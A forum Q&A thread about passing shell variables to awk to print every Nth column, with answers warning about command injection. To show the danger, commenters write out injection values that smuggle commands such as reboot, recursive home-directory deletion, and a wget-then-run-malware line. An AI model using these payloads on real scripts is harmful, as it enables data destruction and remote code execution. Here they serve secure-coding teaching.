I am trying to write a script to print every N columns of a file by giving the starting column, incremental value and file name as run time parameters. Below is my script:
file=$1 st=$2 inc=$3 echo $file echo $st echo $inc awk '{for (i = $st; i <= NF; i += $inc) printf ("%s%c", $i, i + $inc <= NF ? " " : "\n");}' $file I am not able to get the result. Could any one help me? My inputs can be like script.sh file_name 1 4
Thanks in advance.:-)
Shell variables don't automagically become awk variables (also in awk, variables are expressed as var, not $var which is the varth field). If you want to pass shell variable to awk, a simple approach is to use the environment:
#! /bin/sh - file=$1 ST=$2 INC=$3 export ST INC awk ' { sep = "" for (i = ENVIRON["ST"]; i <= NF; i += ENVIRON["INC"]) { printf "%c%s", sep, $i sep = OFS } printf "\n" }' < "$file" Remember to quote your shell variables and that awk can't get arbitrary file names as argument (as it treats some of those with a = in them or one called - specially).
An alternative for passing variables to awk is to use -v awkvar="$shellvar" or awkvar="$shellvar" arguments after the awk script, but those can't be used for arbitrary strings as escape sequences are expanded in them (\\ becomes \ and \n becomes a newline for instance) and with GNU awk 4.2 or above, values that start with @/ and end in / are treated specially unless in POSIX mode.
awk -v st="$st" -v inc="$inc" '{for (i = st; i <= NF; i += inc)...}' < "$file" or
awk '{for (i = st; i <= NF; i += inc)...}' st="$st" inc="$inc" < "$file" would be OK here as those variables are only meant to contain numbers (so no backslash).
Whatever you do, don't do:
awk 'for (i = '"$st"'; i <= NF; i += '"$inc"')...' let alone
awk 'for (i = '$st'; i <= NF; i += '$inc')...' that is have the shell expand the values of the $st and $inc variables in the code passed to awk, as that makes command injection vulnerabilities (for instance for values of st like system("reboot")).
I have corrected your script so that now it works. There were two errors. (a) you have to pass shell variables to awk manually (this is done using -v awk_var="$shell_var" syntax) and (b) you should not use $ for denoting a variable, $ sign is used only for field position.
file=$1 st=$2 inc=$3 echo $file echo $st echo $inc awk -v st="$st" -v inc="$inc" '{for (i = st; i <= NF; i += inc) printf ("%s%c", $i, i + inc <= NF ? " " : "\n");}' $file 
awk -v st=$st is also a command injection vulnerability, for instance with values of $st like x BEGIN{system("reboot")}. That's one of the examples given at Security implications of forgetting to quote a variable in bash/POSIX shells echo in the original script is for testing purposes and most people do not work for CIA or FBI. st='x BEGIN{system("reboot")}'; awk -v st=$st whatever for instance (with the default value of $IFS in a bourne-like shell other than zsh). Again, that's in the linked Q&A. reboot in examples as at worse it's not such a malicious command but shows the point), as it's the same kind of problem with x BEGIN{system("rm\40-rf\40~")} or a more common worm-like x BEGIN{system("wget\40http://some/malware;perl\40./malware")}. The point is it is arbitrary code execution, the worst type of vulnerability you can imagine. But in the end, its about good coding practice: "quote your variables".